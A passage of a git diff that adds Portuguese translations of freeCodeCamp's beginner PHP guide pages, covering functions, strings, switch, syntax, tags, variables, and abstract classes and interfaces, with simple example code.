+  } 
+ } 
+ ?> 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-functions/index.md b/client/src/guide/portuguese/php/php-functions/index.md
new file mode 100644
index 0000000000..1a7f62c709
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-functions/index.md
@@ -0,0 +1,218 @@
+---
+title: PHP functions
+localeTitle: Funções PHP
+---
+Funções PHP são semelhantes a outras linguagens de programação. Uma função é um pedaço de código que recebe mais uma entrada na forma de parâmetro e faz algum processamento e retorna um valor.
+
+Você já viu muitas funções como fopen () e fread (), etc. Elas são funções internas, mas o PHP também oferece a opção de criar suas próprias funções.
+
+Há duas partes que devem estar claras para você -
+
+### Criando uma Função PHP
+
+Chamando uma Função PHP Na verdade, você dificilmente precisa criar sua própria função PHP porque já existem mais de 1.000 funções de biblioteca internas criadas para diferentes áreas e você só precisa chamá-las de acordo com sua necessidade.
+
+Por favor, consulte a Referência da Função PHP para um conjunto completo de funções úteis.
+
+Criando Função PHP É muito fácil criar sua própria função PHP. Suponha que você queira criar uma função PHP que simplesmente escreva uma mensagem simples no seu navegador quando você o chamar. O exemplo a seguir cria uma função chamada writeMessage () e depois a chama logo após criá-la.
+
+Note que ao criar uma função, seu nome deve começar com a função keyword e todo o código PHP deve ser colocado dentro de {e} chaves, como mostrado no exemplo a seguir abaixo -
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         /* Defining a PHP Function */ 
+         function writeMessage() { 
+            echo "You are really a nice person, Have a nice time!"; 
+         } 
+ 
+         /* Calling a PHP Function */ 
+         writeMessage(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isto irá mostrar o resultado seguinte -
+```
+You are really a nice person, Have a nice time! 
+```
+
+### Funções PHP com Parâmetros
+
+O PHP lhe dá a opção de passar seus parâmetros dentro de uma função. Você pode passar quantos parâmetros quiser. Esses parâmetros funcionam como variáveis ​​dentro da sua função. O exemplo a seguir usa dois parâmetros inteiros e os adiciona juntos e depois os imprime.
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function with Parameters</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFunction($num1, $num2) { 
+            $sum = $num1 + $num2; 
+            echo "Sum of the two numbers is : $sum"; 
+         } 
+ 
+         addFunction(10, 20); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isto irá mostrar o resultado seguinte -
+```
+Sum of the two numbers is : 30 
+```
+
+### Passando Argumentos por Referência
+
+É possível passar argumentos para funções por referência. Isso significa que uma referência à variável é manipulada pela função em vez de uma cópia do valor da variável.
+
+Quaisquer alterações feitas em um argumento nesses casos alterarão o valor da variável original. Você pode passar um argumento por referência, adicionando um e comercial ao nome da variável na chamada de função ou na definição da função.
+
+O exemplo a seguir descreve os dois casos.
+```
+<html> 
+ 
+   <head> 
+      <title>Passing Argument by Reference</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFive($num) { 
+            $num += 5; 
+         } 
+ 
+         function addSix(&$num) { 
+            $num += 6; 
+         } 
+ 
+         $orignum = 10; 
+         addFive( $orignum ); 
+ 
+         echo "Original Value is $orignum<br />"; 
+ 
+         addSix( $orignum ); 
+         echo "Original Value is $orignum<br />"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isto irá mostrar o resultado seguinte -
+```
+Original Value is 10 
+ Original Value is 16 
+```
+
+### Funções PHP retornando valor
+
+Uma função pode retornar um valor usando a instrução de retorno em conjunto com um valor ou objeto. return interrompe a execução da função e envia o valor de volta ao código de chamada.
+
+Você pode retornar mais de um valor de uma função usando a matriz de retorno (1,2,3,4).
+
+O exemplo a seguir usa dois parâmetros inteiros e os adiciona juntos e, em seguida, retorna sua soma ao programa de chamada. Observe que a palavra-chave return é usada para retornar um valor de uma função.
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function which returns value</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function addFunction($num1, $num2) { 
+            $sum = $num1 + $num2; 
+            return $sum; 
+         } 
+         $return_value = addFunction(10, 20); 
+ 
+         echo "Returned value from the function : $return_value"; 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isto irá mostrar o resultado seguinte -
+```
+Returned value from the function : 30 
+```
+
+### Configurando Valores Padrão para Parâmetros de Função
+
+Você pode definir um parâmetro para ter um valor padrão se o chamador da função não o passar.
+
+A seguinte função imprime NULL no caso de uso não passa nenhum valor para esta função.
+```
+<html> 
+ 
+   <head> 
+      <title>Writing PHP Function which returns value</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function printMe($param = NULL) { 
+            print $param; 
+         } 
+ 
+         printMe("This is test"); 
+         printMe(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isto irá produzir resultado seguinte -
+```
+This is test 
+```
+
+### Chamadas dinâmicas da função
+
+É possível atribuir nomes de função como strings a variáveis ​​e, em seguida, tratar essas variáveis ​​exatamente como o nome da função em si. O exemplo a seguir descreve esse comportamento.
+```
+<html> 
+ 
+   <head> 
+      <title>Dynamic Function Calls</title> 
+   </head> 
+ 
+   <body> 
+ 
+      <?php 
+         function sayHello() { 
+            echo "Hello<br />"; 
+         } 
+ 
+         $function_holder = "sayHello"; 
+         $function_holder(); 
+      ?> 
+ 
+   </body> 
+ </html> 
+```
+
+Isto irá mostrar o resultado seguinte -
+```
+Hello 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-install/index.md b/client/src/guide/portuguese/php/php-install/index.md
new file mode 100644
index 0000000000..9991be11e0
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-install/index.md
@@ -0,0 +1,29 @@
+---
+title: PHP Install
+localeTitle: Instalação do PHP
+---
+### O que eu preciso para instalação?
+
+Para começar a usar o PHP, você pode:
+
+Encontre um host com suporte a PHP e MySQL. Instale um servidor web em seu próprio PC e depois instale o PHP e o MySQL. Você pode verificar os seguintes links para obter um servidor PHP e MYSQL para criar um ambiente local para o PHP rodar: Servidor Web: https://httpd.apache.org/download.cgi Banco de dados: https://www.mysql.com/downloads/
+
+### Instalação do Analisador PHP
+
+Antes de prosseguir, é importante certificar-se de que você tenha a configuração adequada do ambiente em sua máquina para desenvolver seus programas da Web usando o PHP.
+
+Digite o seguinte endereço na caixa de endereço do seu navegador.
+
+```shell
+http://127.0.0.1/info.php 
+```
+
+Se isso exibir uma página mostrando as informações relacionadas à instalação do PHP, significa que você tem o PHP e o Webserver instalados corretamente.
+
+### Configurar o PHP no seu próprio PC
+
+No entanto, se o seu servidor não suporta PHP, você deve: instalar um servidor da web instalar o PHP instale um banco de dados, como o MySQ.
+
+### Mais Informações
+
+O site oficial do PHP (PHP.net) tem instruções de instalação para o PHP: http://php.net/manual/en/install.php Para obter o servidor web e o banco de dados em um único pacote, use este link: https://www.mamp.info/en/
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-keywords/index.md b/client/src/guide/portuguese/php/php-keywords/index.md
new file mode 100644
index 0000000000..6334f51102
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-keywords/index.md
@@ -0,0 +1,11 @@
+---
+title: PHP Keywords
+localeTitle: Palavras-chave PHP
+---
+## Palavras-chave PHP
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/php/php-keywords/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-strings/index.md b/client/src/guide/portuguese/php/php-strings/index.md
new file mode 100644
index 0000000000..af582868bc
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-strings/index.md
@@ -0,0 +1,101 @@
+---
+title: PHP strings
+localeTitle: Strings PHP
+---
+Eles são sequências de caracteres, como "o PHP suporta operações de string".
+
+OBSERVAÇÃO - As funções de string incorporadas são fornecidas na referência de função Funções de string PHP
+
+A seguir estão exemplos válidos de string
+
+$ string _1 = "Esta é uma string entre aspas duplas"; $ string_ 2 = "Esta é uma string um pouco mais longa e simples"; $ string _39 = "Esta cadeia tem trinta e nove caracteres"; $ string_ 0 = ""; // uma string com zero caracteres As strings citadas individualmente são tratadas quase literalmente, enquanto as strings duplamente citadas substituem variáveis ​​por seus valores, assim como especialmente interpretam certas seqüências de caracteres.
+```
+<?php 
+   $variable = "name"; 
+   $literally = 'My $variable will not print!\\n'; 
+ 
+   print($literally); 
+   print "<br />"; 
+ 
+   $literally = "My $variable will print!\\n"; 
+ 
+   print($literally); 
+ ?> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+My $variable will not print!\n 
+ My name will print 
+```
+
+Não há limites artificiais no tamanho da string - dentro dos limites da memória disponível, você deve ser capaz de fazer strings arbitrariamente longas.
+
+Strings que são delimitadas por aspas duplas (como em "this") são pré-processadas nas duas maneiras a seguir pelo PHP -
+
+Determinadas seqüências de caracteres começando com barra invertida () são substituídas por caracteres especiais
+
+Nomes de variáveis ​​(começando com $) são substituídos por representações de string de seus valores.
+
+As substituições da sequência de escape são -
+
+\\ n é substituído pelo caractere de nova linha \\ r é substituído pelo caractere de retorno de carro \\ t é substituído pelo caractere de tabulação \\ $ é substituído pelo próprio cifrão ($) \\ "é substituído por um único aspas duplas (") \\ é substituído por uma única barra invertida ()
+
+### Operador de Concatenação de Cordas
+
+Para concatenar duas variáveis ​​de string juntas, use o operador dot (.) -
+```
+<?php 
+   $string1="Hello World"; 
+   $string2="1234"; 
+ 
+   echo $string1 . " " . $string2; 
+ ?> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+Hello World 1234 
+```
+
+Se olharmos para o código acima, você verá que usamos o operador de concatenação duas vezes. Isso é porque nós tivemos que inserir uma terceira string.
+
+Entre as duas variáveis ​​string adicionamos uma string com um único caractere, um espaço vazio, para separar as duas variáveis.
+
+### Usando a função strlen ()
+
+A função strlen () é usada para encontrar o tamanho de uma string.
+
+Vamos encontrar o tamanho da nossa string "Hello world!":
+```
+<?php 
+   echo strlen("Hello world!"); 
+ ?> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+12 
+```
+
+O comprimento de uma string é freqüentemente usado em loops ou outras funções, quando é importante saber quando a string termina. (ou seja, em um loop, gostaríamos de interromper o loop após o último caractere na string)
+
+### Usando a função strpos ()
+
+A função strpos () é usada para procurar por uma string ou caractere dentro de uma string.
+
+Se uma correspondência for encontrada na string, essa função retornará a posição da primeira correspondência. Se nenhuma correspondência for encontrada, ela retornará FALSE.
+
+Vamos ver se podemos encontrar a string "world" na nossa string -
+```
+<?php 
+   echo strpos("Hello world!","world"); 
+ ?> 
+```
+
+Isso produzirá o seguinte resultado -
+```
+ 6 
+```
+
+Como você vê, a posição da string "world" em nossa string é a posição 6. A razão que é 6, e não 7, é que a primeira posição na string é 0, e não 1.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-switch/index.md b/client/src/guide/portuguese/php/php-switch/index.md
new file mode 100644
index 0000000000..b95236c214
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-switch/index.md
@@ -0,0 +1,68 @@
+---
+title: PHP Switch
+localeTitle: Comutador PHP
+---
+## Comutador PHP
+
+A instrução `switch` no PHP é semelhante a uma série de instruções `if` na mesma expressão. A instrução `switch` é usada para executar diferentes ações em diferentes condições. A sintaxe da instrução `switch` é a seguinte
+```
+switch (expression) { 
+ 
+    case label1: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    case label2: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    case label3: 
+        // code block to be executed if there is a match with result of expression 
+        break; 
+    default: 
+        // code block to be executed if there is no match with result of expression 
+ 
+ } 
+```
+
+Quando executamos o programa, a expressão dentro da instrução `switch` é avaliada. O resultado dessa expressão é verificado com rótulos correspondentes, se houver uma correspondência, então o bloco de `case` correspondente é executado. Se nenhuma correspondência for encontrada com qualquer uma das instruções case, apenas o bloco de código após o `default` será executado.
+
+Ilustração do `switch` com um exemplo
+```
+<?php 
+ 
+ $i = 1 
+ switch ($i) { 
+    case 0: 
+        echo "i equals 0"; 
+        break; 
+    case 1: 
+        echo "i equals 1"; 
+        break; 
+    case 2: 
+        echo "i equals 2"; 
+        break; 
+ } 
+ 
+ ?> 
+```
+
+A instrução `switch` também pode ser usada sem instrução `break` . Nesse caso, as instruções após os casos correspondentes serão executadas. Abaixo está um uso da instrução `switch` sem instrução `break` .
+```
+<?php 
+ switch ($i) { 
+    case 0: 
+        echo "i equals 0"; 
+    case 1: 
+        echo "i equals 1"; 
+    case 2: 
+        echo "i equals 2"; 
+ } 
+ ?> 
+ 
+ /*output --> i equals 0i equals 1i equals 2 */ 
+```
+
+#### Mais Informações:
+
+[Switch Statement - Documentação PHP](http://php.net/manual/en/control-structures.switch.php)
+
+[Interruptor PHP5 - W3Schools](https://www.w3schools.com/php/php_switch.asp)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-syntax-and-comments/index.md b/client/src/guide/portuguese/php/php-syntax-and-comments/index.md
new file mode 100644
index 0000000000..4788e9d4cb
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-syntax-and-comments/index.md
@@ -0,0 +1,40 @@
+---
+title: PHP Syntax and Comments
+localeTitle: Sintaxe PHP e Comentários
+---
### Sintaxe PHP
+
+A estrutura de uma sintaxe do PHP se parece com:
+
+```shell
+    <?php 
+ 
+    // Your PHP code goes here. 
+ 
+    ?> 
+```
+
+Este script PHP pode ser colocado em qualquer lugar no documento. Um arquivo PHP geralmente tem tags HTML e algum código de script. A extensão de arquivo padrão para arquivos PHP é `.php` .
+
+\### Como fazer comentários em PHP?
+
+Um comentário em código PHP é uma linha que não é lida / executada como parte do programa. Seu único propósito é ser lido por alguém que esteja olhando para o código.
+
+No PHP, os comentários podem ser feitos de duas maneiras, seja de uma única linha ou de várias linhas. O trecho de código abaixo explica isso:
+
+```shell
+<? 
+   // This is a single-line comment 
+ 
+    # This is also a single-line comment 
+ 
+   /* 
+     This is a multiple-lines comment block 
+     that spans over multiple 
+     lines 
+   */ 
+ ?> 
+```
+
+### Mais Informações
+
+Para mais recursos você pode visitar: https://www.w3schools.com/php/php\_syntax.asp
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-syntax/index.md b/client/src/guide/portuguese/php/php-syntax/index.md
new file mode 100644
index 0000000000..f91ab6c709
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-syntax/index.md
@@ -0,0 +1,81 @@
+---
+title: PHP Syntax
+localeTitle: Sintaxe PHP
+---
+# Sintaxe Básica do PHP
+
+### Começar
+
+Todos os arquivos PHP são salvos pela extensão `.php` . Scripts PHP podem ser adicionados em qualquer lugar no documento. Um script PHP começa com `<?php` e termina com `?>` .
+
+`<?php //PHP code goes here ?>`
+
+### Impressão
+
+Para imprimir qualquer instrução em PHP, usamos o comando `echo` .
+
+#### Amostra de código
+```
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <h1>My first PHP page</h1> 
+ 
+ <?php 
+ echo "Hello World!"; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+##### NOTA: As instruções do PHP terminam com ponto `;` vírgula `;`
+
+### Declarando Variáveis
+
+Nós declaramos variáveis ​​em PHP adicionando `$` dollar sign antes deles.
+```
+<?php 
+ $x = 5; 
+ echo $x; 
+ ?> 
+```
+
+### Comentários em PHP
+
+Para escrever um comentário de linha única no PHP, colocamos a hashtag `#` ou colocamos `//` antes do comentário.
+```
+<?php 
+ # This is a single line comment 
+ // This is also a single line comment 
+ ?> 
+```
+
+Para escrever um comentário de linha dupla, começamos o comentário com `/*` e terminamos com `*/` .
+```
+<?php 
+ /* This is a 
+ Double line comment. */ 
+ ?> 
+```
+
+Também podemos comentar algumas partes da linha de código.
+
+#### Amostra de código
+```
+<!DOCTYPE html> 
+ <html> 
+ <body> 
+ 
+ <?php 
+ // You can also use comments to leave out parts of a code line 
+ $x = 5 /* + 15 */ + 5; 
+ echo $x; 
+ ?> 
+ 
+ </body> 
+ </html> 
+```
+
+Você pode ver mais sobre isso no [PHP Manual](http://php.net/manual/en/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-tags/index.md b/client/src/guide/portuguese/php/php-tags/index.md
new file mode 100644
index 0000000000..4a8c7c6f10
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-tags/index.md
@@ -0,0 +1,21 @@
+---
+title: PHP tags
+localeTitle: Tags PHP
+---
+Quando o PHP analisa um arquivo, ele procura por tags de abertura e fechamento, que são `<?php` e `?>` Que dizem ao PHP para iniciar e parar de interpretar o código entre elas. A análise dessa maneira permite que o PHP seja incorporado em todos os tipos de documentos diferentes, já que tudo fora de um par de tags de abertura e fechamento é ignorado pelo analisador PHP.
+
+O PHP também permite uma tag aberta curta `<?` (o que é desencorajado, uma vez que está disponível somente se ativado usando a diretiva do arquivo de configuração `short_open_tag php.ini` , ou se o PHP foi configurado com a opção `--enable-short-tags` ).
+
+Se um arquivo é puro código PHP, é preferível omitir a tag de fechamento do PHP no final do arquivo. Isso evita espaços em branco acidentais ou novas linhas sendo adicionadas após a tag de fechamento do PHP, o que pode causar efeitos indesejados porque o PHP iniciará o buffer de saída quando não houver intenção do programador de enviar qualquer saída naquele ponto no script.
+
+```php
+<?php 
+ echo "Hello world"; 
+ 
+ // ... more code 
+ 
+ echo "Last statement"; 
+ 
+ // the script ends here with no PHP closing tag 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/php-variables/index.md b/client/src/guide/portuguese/php/php-variables/index.md
new file mode 100644
index 0000000000..a96489e324
--- /dev/null
+++ b/client/src/guide/portuguese/php/php-variables/index.md
@@ -0,0 +1,58 @@
+---
+title: PHP Variables
+localeTitle: Variáveis ​​PHP
+---
+## Variáveis
+
+Variáveis ​​são "contêineres" para armazenar informações. As variáveis ​​são declaradas usando o sinal de dólar ($) seguido imediatamente pelo nome da variável. Por exemplo, o bloco de código abaixo criaria uma variável chamada `myVariable` e designaria a string `Hello World` a ela.
+
+```php
+<?php 
+ $myVariable = "Hello World"; 
+ $x = 5; 
+ $y = 10.5; 
+ $z = '42'; 
+ ?> 
+```
+
+Após a execução das instruções acima, a variável `$myVariable` conterá uma string com um valor de Hello world !, a variável `$x` conterá um inteiro com um valor de 5, e a variável `$y` conterá um float com um valor de 10.5, e a variável `$z` irá conter uma string com um valor de 42.
+
+# Nomeando Variáveis
+
+Como em qualquer linguagem de programação, o PHP possui certas regras que se aplicam a variáveis ​​de nomenclatura. Nomes de variáveis ​​válidos seguirão as seguintes regras
+
+*   Uma variável deve começar com o sinal $, seguido pelo nome da variável
+*   Um nome de variável deve começar com uma letra ou o caractere de sublinhado
+*   Um nome de variável não pode começar com um número
+*   Um nome de variável só pode conter caracteres alfanuméricos e sublinhados (Az, 0-9 e \_)
+*   Os nomes das variáveis ​​diferenciam maiúsculas e minúsculas ($ age e $ AGE são duas variáveis ​​diferentes)
+
+# Variáveis ​​Predefinidas
+
+O PHP tem várias palavras-chave especiais que, embora sejam nomes de variáveis ​​"válidas", não podem ser usadas para suas variáveis. A razão para isso é que a própria linguagem já definiu essas variáveis ​​e elas são usadas para propósitos especiais. Vários exemplos estão listados abaixo, para uma lista completa, consulte o [site de documentação](https://secure.php.net/manual/en/language.variables.predefined.php) do [PHP](https://secure.php.net/manual/en/language.variables.predefined.php) .
+
+*   `$this`
+*   `$_GET`
+*   `$_POST`
+*   `$_SERVER`
+*   `$_FILES`
+
+# Atribuindo Valores a Variáveis
+
+Para atribuir um valor a uma variável, basta digitar a variável seguida pelo operador de igual (=) seguido pelo valor. Por exemplo
+
+`PHP $myVariable = "Hello World"; $number1 = 5; $number2 = 10; $total = $number1 + $number2;`
+
+Você pode ter notado várias coisas importantes sobre o exemplo acima. A primeira variável eu declarei igual a **Hello World** , cercado por aspas. Isso ocorre porque o **Hello World** é uma string de texto e as strings devem estar entre aspas. A segunda linha eu declarei `$number1` para ser igual ao valor de 5. Eu poderia ter declarado `$number1` para ser igual a `"5"` , o que diria PHP eu quero que o 5 seja armazenado como uma string, nao um valor real. A diferença é que você não pode realizar cálculos (como eu fiz na quarta linha) em strings. A quarta linha eu declaro `$total` para ser igual aos valores de `$number1` mais `$number2` . Isso é chamado de declarar um valor por referência.
+
+# PHP é uma linguagem fracamente tipada
+
+No exemplo acima, observe que não precisávamos informar ao PHP qual tipo de dados a variável é. O PHP converte automaticamente a variável para o tipo de dados correto, dependendo do seu valor. Em outras linguagens como C, C ++ e Java, o programador deve declarar o nome e o tipo da variável antes de usá-la.
+
+# Conclusão
+
+O PHP facilita o trabalho com variáveis ​​e você deve pensar em variáveis ​​como contêineres para armazenar informações. Para mais informações, confira estes recursos:
+
+*   [Documentação Variável do PHP](http://php.net/manual/en/language.variables.php)
+*   [Variáveis ​​do PHP W3Schools](https://www.w3schools.com/php/php_variables.asp)
+*   [Tipos de dados PHP](https://guide.freecodecamp.org/php/data-types)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/php/polymorphism-abstract-interface/index.md b/client/src/guide/portuguese/php/polymorphism-abstract-interface/index.md
new file mode 100644
index 0000000000..e576a24530
--- /dev/null
+++ b/client/src/guide/portuguese/php/polymorphism-abstract-interface/index.md
@@ -0,0 +1,374 @@
+---
+title: Polymorphism with Abstract and Interface
+localeTitle: Polimorfismo com Resumo e Interface
+---
+## Polimorfismo com Resumo e Interface
+
+_Compartilhe e imponha código com Polimorfismo usando a classe e a interface Abstratas_
+
+Vamos mergulhar mais profundamente na Programação Orientada a Objetos e tentar pensar em termos de Padrões de Projeto para compartilhar e impor nosso código usando Polimorfismo.
+
+### Classe abstrata
+
+Digamos que temos uma classe chamada Man com algumas propriedades ( `name` , `age` , `height` , `fav_drinks` e `fav_sports` ) e métodos ( `giveFirmHandshakes` , `beStubborn` e `notPutToiletPaper` ).
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ } 
+```
+
+Precisamos especificar nome, idade e altura para instanciar essa classe conforme exigido pelo construtor.
+
+```php
+<?php 
+ $jack = new Man('Jack', '26', '5 Feet 6 Inches'); 
+ 
+ echo sprintf('%s - %s - %s', $jack->name, $jack->age, $jack->height); 
+ // => Jack - 26 - 5 Feet 6 Inches 
+```
+
+Agora, digamos que queremos adicionar um novo método a essa classe chamada isActive.
+
+Este método verifica a propriedade ativa e retorna a mensagem apropriada, dependendo do valor de ativo com valor padrão de false. Podemos definir isso como verdadeiro para os homens que estão ativos.
+
+```php
+<?php 
+ 
+ class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+    public $active = false; 
+ 
+    ..... 
+    ..... 
+ 
+    public function isActive() 
+    { 
+        if ($this->active == true) { 
+            return "I am an active man."; 
+        } else { 
+            return "I am an idle man."; 
+        } 
+    } 
+ } 
+ 
+ $jack = new Man('Jack', '26', '5 Feet 6 Inches'); 
+ $jack->active = true; 
+ echo $jack->isActive(); 
+ // => I am an active man. 
+ 
+ $jake = new Man('Jake', '30', '6 Feet'); 
+ echo "\n" . $jake->isActive(); 
+ // => I am an idle man. 
+```
+
+E se um homem não estiver APENAS ativo ou ocioso?
+
+E se houver uma escala de 1 a 4 que mede quão ativo um homem é (1 - inativo, 2 - pouco ativo, 3- moderadamente ativo, 4- muito ativo)?
+
+Podemos ter uma declaração if..elseif..else como esta:
+
+```php
+<?php 
+ 
+ public function isActive() 
+ { 
+    if ($this->active == 1) { 
+        return "I am an idle man."; 
+    } elseif ($this->active == 2) { 
+        return "I am a lightly active man."; 
+    } elseif ($this->active == 3) { 
+        return "I am a moderately active man."; 
+    } else { 
+        return "I am a very active man."; 
+    } 
+ } 
+```
+
+Agora, vamos dar um passo adiante.
+
+E se a propriedade ativa do Homem não for apenas um inteiro (1, 2, 3, 4, etc)?
+
+E se o valor de ativo for “atlético” ou “preguiçoso”?
+
+Não temos que adicionar mais instruções elseif procurando por uma correspondência com essas strings?
+
+Classes abstratas podem ser usadas para tal cenário.
+
+Com as classes abstratas, você basicamente define a classe como abstrata e os métodos que deseja impor como abstratos sem realmente inserir qualquer código dentro desses métodos.
+
+Em seguida, você cria uma classe filha estendendo a classe abstrata pai e implementa os métodos abstratos nessa classe filha.
+
+Dessa forma, você estará impondo todas as classes filhas para definir sua própria versão de métodos abstratos. Vamos ver como podemos definir nosso método `isActive()` como abstrato.
+
+# 1: defina a classe como abstrata.
+
+```php
+<?php 
+ abstract class Man 
+ { 
+ ..... 
+ ..... 
+ } 
+```
+
+# 2: Crie um método abstrato para o método que você deseja impor dentro da classe abstrata.
+
+```php
+<?php 
+ abstract class Man 
+ { 
+ ..... 
+ ..... 
+ abstract public function isActive(); 
+ } 
+```
+
+# 3: Crie uma classe filha estendendo a classe abstrata.
+
+```php
+<?php 
+ 
+ class AthleticMan extends Man 
+ { 
+ ..... 
+ ..... 
+ } 
+```
+
+# 4: Implemente o método abstrato dentro da classe filha.
+
+```php
+<?php 
+ class AthleticMan extends Man 
+ { 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+```
+
+# 5: Instanciar a classe filha (NÃO a classe abstrata).
+
+```php
+<?php 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+```
+
+Definição completa da classe abstrata e código de implementação:
+
+```php
+<?php 
+ 
+ abstract class Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+    public $fav_sports; 
+    public $fav_drinks; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    abstract public function isActive(); 
+ } 
+ 
+ class AthleticMan extends Man 
+ { 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+ 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+```
+
+Neste código, você notará que o método abstrato `isActive()` está definido dentro da classe abstrata `Man` e é implementado dentro da classe filha `AthleticMan` .
+
+Agora a classe `Man` não pode ser instanciada diretamente para criar um objeto.
+
+```php
+<?php 
+ $ted = new Man('Ted', '30', '6 feet'); 
+ echo $ted->isActive(); 
+ // => Fatal error:  Uncaught Error: Cannot instantiate abstract class Man 
+```
+
+Além disso, todas as classes filhas da classe abstrata (classe `Man` ) precisam implementar todos os métodos abstratos. A falta de tal implementação resultará em um erro fatal.
+
+```php
+<?php 
+ class LazyMan extends Man 
+ { 
+ 
+ } 
+ 
+ $robert = new LazyMan('Robert', '40', '5 feet 10 inches'); 
+ echo $robert->isActive(); 
+ // => Fatal error:  Class LazyMan contains 1 abstract method 
+ // => and must therefore be declared abstract or implement 
+ // => the remaining methods (Man::isActive) 
+```
+
+Usando classes abstratas, você pode impor certos métodos para serem implementados individualmente pelas classes filhas.
+
+### Interface
+
+Existe outro conceito de Programação Orientada a Objetos que está intimamente relacionado a Classes Abstratas chamadas de Interface.
+
+A única diferença entre Abstract Classes e Interfaces é que em Abstract Classes, você pode ter uma mistura de métodos definidos ( `giveFirmHandshakes()` , `isStubborn()` , etc.) e métodos abstratos ( `isActive()` ) dentro da classe pai, enquanto em Interfaces, você só pode definir (não implementar) métodos dentro da classe pai.
+
+Vamos ver como podemos converter a classe abstrata Man acima em uma interface.
+
+# 1: Defina a interface com todos os métodos (use interface em vez de classe).
+
+```php
+<?php 
+ interface Man 
+ { 
+    public function __construct($name, $age, $height); 
+ 
+    public function giveFirmHandshakes(); 
+ 
+    public function beStubborn(); 
+ 
+    public function notPutToiletPaper(); 
+ 
+    public function isActive(); 
+ } 
+```
+
+# 2: Crie uma classe que implemente a interface (use implements em vez de extends). Esta classe deve implementar TODOS os métodos definidos dentro da interface, incluindo o método construtor.
+
+```php
+<?php 
+ class AthleticMan implements Man 
+ { 
+    public $name; 
+    public $age; 
+    public $height; 
+ 
+    public function __construct($name, $age, $height) 
+    { 
+        $this->name = $name; 
+        $this->age = $age; 
+        $this->height = $height; 
+    } 
+ 
+    public function giveFirmHandshakes() 
+    { 
+        return "I give firm handshakes."; 
+    } 
+ 
+    public function beStubborn() 
+    { 
+        return "I am stubborn."; 
+    } 
+ 
+    public function notPutToiletPaper() 
+    { 
+        return "It's not humanly possible to remember to put toilet paper rolls when they are finished"; 
+    } 
+ 
+    public function isActive() 
+    { 
+        return "I am a very active athlete."; 
+    } 
+ } 
+```
+
+# 3: instanciar a classe de implementação (AthleticMan)
+
+```php
+<?php 
+ $jack = new AthleticMan('Jack', '26', '5 feet 6 inches'); 
+ echo $jack->isActive(); 
+ // => I am a very active athlete. 
+```
+
+Com as interfaces, você precisa ter em mente que:
+
+*   Os métodos não podem ser implementados dentro da interface.
+    
